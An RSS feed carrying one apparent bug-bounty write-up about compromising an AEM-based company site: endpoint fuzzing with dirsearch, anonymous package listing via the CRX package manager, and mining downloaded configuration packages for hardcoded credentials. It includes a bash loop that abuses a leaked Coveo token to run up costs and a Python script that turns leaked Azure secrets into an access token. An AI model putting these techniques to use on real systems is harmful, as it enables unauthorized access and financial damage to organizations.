<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xbedo on Medium]]></title>
        <description><![CDATA[Stories by 0xbedo on Medium]]></description>
        <link>https://medium.com/@0xbedo?source=rss-4b98f83f815a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*NYu66zXgIzSJeuhI</url>
            <title>Stories by 0xbedo on Medium</title>
            <link>https://medium.com/@0xbedo?source=rss-4b98f83f815a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 16:46:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xbedo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Hacked an Entire Company’s IT Infrastructure by Uncovering a Critical Bug Through Effective…]]></title>
            <link>https://0xbedo.medium.com/how-i-hacked-an-entire-companys-it-infrastructure-by-uncovering-a-critical-bug-through-effective-8322d4d763a8?source=rss-4b98f83f815a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8322d4d763a8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[aem]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[0xbedo]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 18:11:52 GMT</pubDate>
            <atom:updated>2024-11-18T18:49:51.490Z</atom:updated>
            <content:encoded><![CDATA[<h4>How I Hacked an Entire Company’s IT Infrastructure by Uncovering a Critical Bug Through Effective Reconnaissance</h4><blockquote><strong>Hello Hackers<br>I am Beshoy Adel also known as 0xbedo,<br></strong> This is my first time writing a write-up, and I’m excited to share my findings with you.</blockquote><blockquote><strong>In this writeup</strong> , I’ll delve into how I was able to gain access to critical IT infrastructure and cloud services of my target organization. Through detailed analysis and exploitation of exposed endpoints, hardcoded credentials, and misconfigured access controls.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*heCtZTM5kRAUPcL5cxP2ew.jpeg" /><figcaption><strong>Let’s get started</strong></figcaption></figure><p>Let’s mention the website’s name <a href="https://sub.domain.com/"><strong>https://<em>sub.domain</em>.com</strong></a></p><blockquote>during my<strong> active recon </strong>found the target<strong> use AEM as CMS </strong>and <strong>run by java</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*5NsFOR84Uc5GaUqBXLucog.png" /></figure><blockquote>First thing i do <strong>collect wordlist to AEM CMS and JSP</strong> <strong>endpoints</strong></blockquote><p>then i do some <strong>fuzzing</strong> and found some useful endpoint</p><pre>/crx/packmgr/index.jsp<br>/etc.feed.xml<br>/crx/bin.ext.json<br>/crx/.ext.infinity.json</pre><p>when i discover<strong> /etc.feed.xml found</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFm3edNGliD6-HoKF5TJww.png" /></figure><blockquote>and get <strong>my attention</strong> this url</blockquote><blockquote><a href="https://sub.domain.com/etc/packages.feed.xml"><strong>https</strong>://<strong>sub.domain.com/etc/packages.feed.xml</strong></a><strong><br></strong> <strong><br></strong>found a lot of <strong>packages found in this format</strong></blockquote><pre>https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip</pre><p>by visit any url in the format <strong>can download any package</strong> <br>but after dig in packages <strong>didn’t found anything interesting</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F21162137&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Ffrustration-hands-through-hair-gif-21162137&amp;image=https%3A%2F%2Fmedia.tenor.com%2FBTCYnxg9lCsAAAAN%2Ffrustration-hands.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/d25bc0ef7f86bbb0f8a1f4cd6b708209/href">https://medium.com/media/d25bc0ef7f86bbb0f8a1f4cd6b708209/href</a></iframe><p>then back again to fuzzing in interesting end point using <strong>jsp wordlist</strong></p><pre>dirsearch -u https://sub.domain.com/crx/packmgr/ --random-agent -i 200 -w jsp.txt</pre><blockquote>found this endpoint <br>https://sub.domain.com<strong>/crx/packmgr/service.jsp</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*PbyyWDkSmrf8NyH6Yp3nyQ.jpeg" /><figcaption><strong>get your coffee the exited part will be start</strong></figcaption></figure><blockquote>I asked my friend <a href="https://medium.com/u/bbd737257cea">DrakenKun</a> for assistance in performing operations. However, we discovered that the user is <strong>anonymous</strong> and cannot execute any operation other than <strong>listing all packages</strong> by adding the cmd parameter</blockquote><pre>https://sub.domain.com/crx/packmgr/service.jsp?cmd=ls<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9VQySrWcq8lt44nyz6FcQ.png" /><figcaption><strong>that retrieve about 1173 package and about 100 configuration packages</strong></figcaption></figure><blockquote>i <strong>remembered </strong>that i can download the packages using this format</blockquote><pre>https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip</pre><blockquote>then i<strong> </strong>make simple script to download the all package,<br> then i dive into the <strong>configuration packages</strong> and <strong>found a lot of hardcoded credentials</strong></blockquote><p><strong>1- leak all authors emails</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_2lYdyJ8JSMkxPXtLNz4w.png" /></figure><p><strong>2- Covo service configuration that paid service</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4mJ7SVri2nbxB_ZjIQzrw.png" /></figure><pre>for i in {1..10000}; do<br>  curl -X GET &quot;https://platform.cloud.coveo.com/rest/search/v2?organizationId={clientId}&amp;q=*&quot; \<br>    -H &quot;Authorization: Bearer {accesstoken}&quot; \<br>    -H &quot;Content-Type: application/json&quot;;<br>done</pre><blockquote><strong>i can lose the organization a lot of money by using simple bash script because this access token is valid</strong></blockquote><p><strong>3- Valid Credentials to </strong>API manage and provide access to repositories hosted on https://<strong>sub3</strong><strong>.domain.com</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*wHM68fa1HFGiyIUPNcaTmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kug9c9ENtTiFH-TtBfgjuw.png" /></figure><p>4- <strong>ARIA-azure-credential</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*mavOu8a4ewFO2vRcVNHFnA.png" /></figure><pre>import requests<br><br># Define the authentication parameters<br>tenant_id = &quot;{tenant_id}&quot;<br>client_id = &quot;{client_id}&quot;<br>client_secret = &quot;{client_secret}&quot;<br>scope = &quot;https://sub.cloudapp.domain.com/.default&quot;<br><br># URL to get the OAuth token<br>token_url = f&quot;https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token&quot;<br><br># Define the request payload<br>payload = {<br>    &quot;grant_type&quot;: &quot;client_credentials&quot;,<br>    &quot;client_id&quot;: client_id,<br>    &quot;client_secret&quot;: client_secret,<br>    &quot;scope&quot;: scope<br>}<br><br># Make a POST request to get the token<br>response = requests.post(token_url, data=payload)<br><br># Check if the request was successful<br>if response.status_code == 200:<br>    # Parse the JSON response<br>    token_response = response.json()<br>    access_token = token_response.get(&quot;access_token&quot;)<br>    print(&quot;Access Token:&quot;, access_token)<br>else:<br>    # If the request failed, print the error<br>    print(&quot;Failed to get the access token:&quot;, response.status_code, response.text)</pre><ul><li>this Python script retrieve OAuth access token using the credentials to can interact with <strong>api </strong>to <a href="https://sub.cloudapp.domain.com/">https://sub.cloudapp.domain.com/</a></li></ul><p>5- <a href="https://www.servicenow.com/"><strong>ServiceNow</strong></a><strong> </strong>(IT Service Management)</p><blockquote>using this<strong> leaked credentials</strong> i have all <strong>permissions (create , delete ,edit )</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ct3yQkBmIS8etqmXrJTIyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tTPcVXsM4lgD5rwbmh7_zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYu0A2QVN7zLp8dIh8MXYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHwlGYQBwkY_z80XASCKjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8R7pl64V1eNIbDTWqQ3og.jpeg" /></figure><h3>conclusion</h3><blockquote>this write up not technical write up but i show how how a<strong>ctive recon ,search and take note</strong> for target is important maybe will useful in another point.<br><strong> thank you for reading</strong></blockquote><h3>Here are some resources I read during my testing that helped me</h3><ul><li><a href="https://wordlists.assetnote.io/">Assetnote Wordlists</a></li><li><a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/AdobeCQ-AEM.txt">SecLists/Discovery/Web-Content/AdobeCQ-AEM.txt at master · danielmiessler/SecLists</a></li><li><a href="https://github.com/ZephrFish/Wordlists/blob/master/AEM-Enum.txt">Wordlists/AEM-Enum.txt at master · ZephrFish/Wordlists</a></li><li><a href="https://medium.com/@realm3ter/aem-bug-in-adobe-416763d3ad04">AEM Bug in Adobe</a></li></ul><h4>Don’t Forget To follow me on :</h4><p><strong>Twitter</strong>: <a href="https://x.com/Besho83298755?t=i8ZwYZSrPwZl1TQz2KN56g&amp;s=09">https://x.com/Besho83298755?t=i8ZwYZSrPwZl1TQz2KN56g&amp;s=09</a></p><p><strong>Linkedin</strong>:<a href="http://www.linkedin.com/in/beshoy-adel-0xbedo"> http://www.linkedin.com/in/beshoy-adel-0xbedo</a></p><h4>And DrakenKun’s profile :</h4><p>Twitter : https://twitter.com/Amr_MustafaAA</p><p>Linkedin : https://www.linkedin.com/in/amr-mustafa11</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8322d4d763a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>